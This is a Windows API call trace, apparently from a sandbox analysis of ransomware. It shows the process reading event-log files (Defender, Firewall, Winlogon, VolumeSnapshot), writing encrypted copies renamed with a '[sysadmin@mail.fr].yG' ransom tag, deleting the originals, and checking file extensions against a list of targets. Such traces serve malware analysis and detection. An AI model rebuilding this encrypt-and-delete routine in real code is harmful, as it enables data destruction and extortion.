	[0053.547] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0053.547] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0053.547] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.547] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.547] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0053.548] GetLastError () returned 0x0
	[0053.548] ReadFile (in: hFile=0x334, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x11000, lpOverlapped=0x0) returned 1
	[0053.580] WriteFile (in: hFile=0x348, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x11010, lpOverlapped=0x0) returned 1
	[0053.582] ReadFile (in: hFile=0x334, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.582] WriteFile (in: hFile=0x348, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x146, lpOverlapped=0x0) returned 1
	[0053.582] SetEndOfFile (hFile=0x348) returned 1
	[0053.582] CloseHandle (hObject=0x348) returned 1
	[0053.584] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.584] SetEndOfFile (hFile=0x334) returned 1
	[0053.585] CloseHandle (hObject=0x334) returned 1
	[0053.585] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0053.585] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx")) returned 1
	[0053.586] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0053.586] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0053.586] lstrlenW (lpString=".doc") returned 4
	[0053.586] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.586] lstrlenW (lpString=".docx") returned 5
	[0053.586] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.586] lstrlenW (lpString=".pdf") returned 4
	[0053.586] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.586] lstrlenW (lpString=".xls") returned 4
	[0053.586] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.586] lstrlenW (lpString=".xlsx") returned 5
	[0053.586] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.586] lstrlenW (lpString=".ppt") returned 4
	[0053.586] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.586] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0053.586] lstrlenW (lpString=".zip") returned 4
	[0053.586] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.586] lstrlenW (lpString=".rar") returned 4
	[0053.586] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.586] lstrlenW (lpString=".bz2") returned 4
	[0053.586] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.586] lstrlenW (lpString=".7z") returned 3
	[0053.586] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.586] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0053.586] lstrlenW (lpString=".dbf") returned 4
	[0053.586] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.586] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0053.586] lstrlenW (lpString=".1cd") returned 4
	[0053.587] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.587] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0053.587] lstrlenW (lpString=".jpg") returned 4
	[0053.587] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.587] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0053.587] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0053.587] lstrlenW (lpString=".doc") returned 4
	[0053.587] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.587] lstrlenW (lpString=".docx") returned 5
	[0053.587] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.587] lstrlenW (lpString=".pdf") returned 4
	[0053.587] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.587] lstrlenW (lpString=".xls") returned 4
	[0053.587] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.587] lstrlenW (lpString=".xlsx") returned 5
	[0053.587] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.587] lstrlenW (lpString=".ppt") returned 4
	[0053.587] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.587] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0053.587] lstrlenW (lpString=".zip") returned 4
	[0053.587] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.587] lstrlenW (lpString=".rar") returned 4
	[0053.587] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.587] lstrlenW (lpString=".bz2") returned 4
	[0053.587] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.587] lstrlenW (lpString=".7z") returned 3
	[0053.587] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.587] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0053.587] lstrlenW (lpString=".dbf") returned 4
	[0053.587] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.587] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0053.587] lstrlenW (lpString=".1cd") returned 4
	[0053.587] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.587] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0053.587] lstrlenW (lpString=".jpg") returned 4
	[0053.587] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.588] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0053.588] lstrlenW (lpString="Microsoft-Windows-Windows Defender%4Operational.evtx") returned 52
	[0053.588] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0053.588] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=69632) returned 1
	[0053.588] CloseHandle (hObject=0x334) returned 1
	[0053.588] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx")) returned 0x20
	[0053.588] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0053.588] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0053.588] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.588] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.588] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0053.589] GetLastError () returned 0x0
	[0053.589] ReadFile (in: hFile=0x334, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x11000, lpOverlapped=0x0) returned 1
	[0053.612] WriteFile (in: hFile=0x348, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x11010, lpOverlapped=0x0) returned 1
	[0053.614] ReadFile (in: hFile=0x334, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.614] WriteFile (in: hFile=0x348, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x13c, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x13c, lpOverlapped=0x0) returned 1
	[0053.614] SetEndOfFile (hFile=0x348) returned 1
	[0053.615] CloseHandle (hObject=0x348) returned 1
	[0053.616] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.616] SetEndOfFile (hFile=0x334) returned 1
	[0053.617] CloseHandle (hObject=0x334) returned 1
	[0053.617] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0053.618] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx")) returned 1
	[0053.618] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0053.618] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0053.618] lstrlenW (lpString=".doc") returned 4
	[0053.618] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.618] lstrlenW (lpString=".docx") returned 5
	[0053.618] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.618] lstrlenW (lpString=".pdf") returned 4
	[0053.618] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.618] lstrlenW (lpString=".xls") returned 4
	[0053.618] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.618] lstrlenW (lpString=".xlsx") returned 5
	[0053.618] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.618] lstrlenW (lpString=".ppt") returned 4
	[0053.618] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.618] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0053.618] lstrlenW (lpString=".zip") returned 4
	[0053.618] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.618] lstrlenW (lpString=".rar") returned 4
	[0053.618] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.618] lstrlenW (lpString=".bz2") returned 4
	[0053.618] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.618] lstrlenW (lpString=".7z") returned 3
	[0053.618] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.619] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0053.619] lstrlenW (lpString=".dbf") returned 4
	[0053.619] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.619] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0053.619] lstrlenW (lpString=".1cd") returned 4
	[0053.619] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.619] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0053.619] lstrlenW (lpString=".jpg") returned 4
	[0053.619] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.619] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0053.619] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0053.619] lstrlenW (lpString=".doc") returned 4
	[0053.619] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.619] lstrlenW (lpString=".docx") returned 5
	[0053.619] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.619] lstrlenW (lpString=".pdf") returned 4
	[0053.619] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.619] lstrlenW (lpString=".xls") returned 4
	[0053.619] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.619] lstrlenW (lpString=".xlsx") returned 5
	[0053.619] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.619] lstrlenW (lpString=".ppt") returned 4
	[0053.619] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.619] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0053.619] lstrlenW (lpString=".zip") returned 4
	[0053.619] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.619] lstrlenW (lpString=".rar") returned 4
	[0053.619] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.619] lstrlenW (lpString=".bz2") returned 4
	[0053.619] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.619] lstrlenW (lpString=".7z") returned 3
	[0053.619] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.619] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0053.619] lstrlenW (lpString=".dbf") returned 4
	[0053.619] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.619] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0053.620] lstrlenW (lpString=".1cd") returned 4
	[0053.620] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.620] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx") returned 60
	[0053.620] lstrlenW (lpString=".jpg") returned 4
	[0053.620] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.623] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0053.623] lstrlenW (lpString="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 82
	[0053.623] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0053.623] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=69632) returned 1
	[0053.624] CloseHandle (hObject=0x334) returned 1
	[0053.624] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx")) returned 0x20
	[0053.624] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0053.624] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0053.624] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.624] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.624] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0053.624] GetLastError () returned 0x0
	[0053.624] ReadFile (in: hFile=0x334, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x11000, lpOverlapped=0x0) returned 1
	[0053.651] WriteFile (in: hFile=0x348, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x11010, lpOverlapped=0x0) returned 1
	[0053.654] ReadFile (in: hFile=0x334, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.654] WriteFile (in: hFile=0x348, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x178, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x178, lpOverlapped=0x0) returned 1
	[0053.654] SetEndOfFile (hFile=0x348) returned 1
	[0053.659] CloseHandle (hObject=0x348) returned 1
	[0053.663] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.663] SetEndOfFile (hFile=0x334) returned 1
	[0053.668] CloseHandle (hObject=0x334) returned 1
	[0053.669] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0053.669] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx")) returned 1
	[0053.669] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0053.669] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0053.669] lstrlenW (lpString=".doc") returned 4
	[0053.669] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.670] lstrlenW (lpString=".docx") returned 5
	[0053.670] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.670] lstrlenW (lpString=".pdf") returned 4
	[0053.670] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.670] lstrlenW (lpString=".xls") returned 4
	[0053.670] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.670] lstrlenW (lpString=".xlsx") returned 5
	[0053.670] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.670] lstrlenW (lpString=".ppt") returned 4
	[0053.670] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.670] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0053.670] lstrlenW (lpString=".zip") returned 4
	[0053.670] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.670] lstrlenW (lpString=".rar") returned 4
	[0053.670] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.670] lstrlenW (lpString=".bz2") returned 4
	[0053.670] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.670] lstrlenW (lpString=".7z") returned 3
	[0053.670] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.670] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0053.670] lstrlenW (lpString=".dbf") returned 4
	[0053.670] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.670] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0053.670] lstrlenW (lpString=".1cd") returned 4
	[0053.670] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.670] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0053.670] lstrlenW (lpString=".jpg") returned 4
	[0053.671] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.671] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0053.671] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0053.671] lstrlenW (lpString=".doc") returned 4
	[0053.671] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.671] lstrlenW (lpString=".docx") returned 5
	[0053.671] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.671] lstrlenW (lpString=".pdf") returned 4
	[0053.671] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.671] lstrlenW (lpString=".xls") returned 4
	[0053.671] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.671] lstrlenW (lpString=".xlsx") returned 5
	[0053.671] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.671] lstrlenW (lpString=".ppt") returned 4
	[0053.671] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.671] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0053.671] lstrlenW (lpString=".zip") returned 4
	[0053.671] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.671] lstrlenW (lpString=".rar") returned 4
	[0053.671] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.671] lstrlenW (lpString=".bz2") returned 4
	[0053.671] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.671] lstrlenW (lpString=".7z") returned 3
	[0053.671] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.671] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0053.671] lstrlenW (lpString=".dbf") returned 4
	[0053.671] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.671] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0053.671] lstrlenW (lpString=".1cd") returned 4
	[0053.671] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.672] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90
	[0053.672] lstrlenW (lpString=".jpg") returned 4
	[0053.672] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.672] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0053.672] lstrlenW (lpString="Microsoft-Windows-Winlogon%4Operational.evtx") returned 44
	[0053.672] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0053.672] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=69632) returned 1
	[0053.672] CloseHandle (hObject=0x350) returned 1
	[0053.672] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx")) returned 0x20
	[0053.672] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0053.673] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0053.673] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
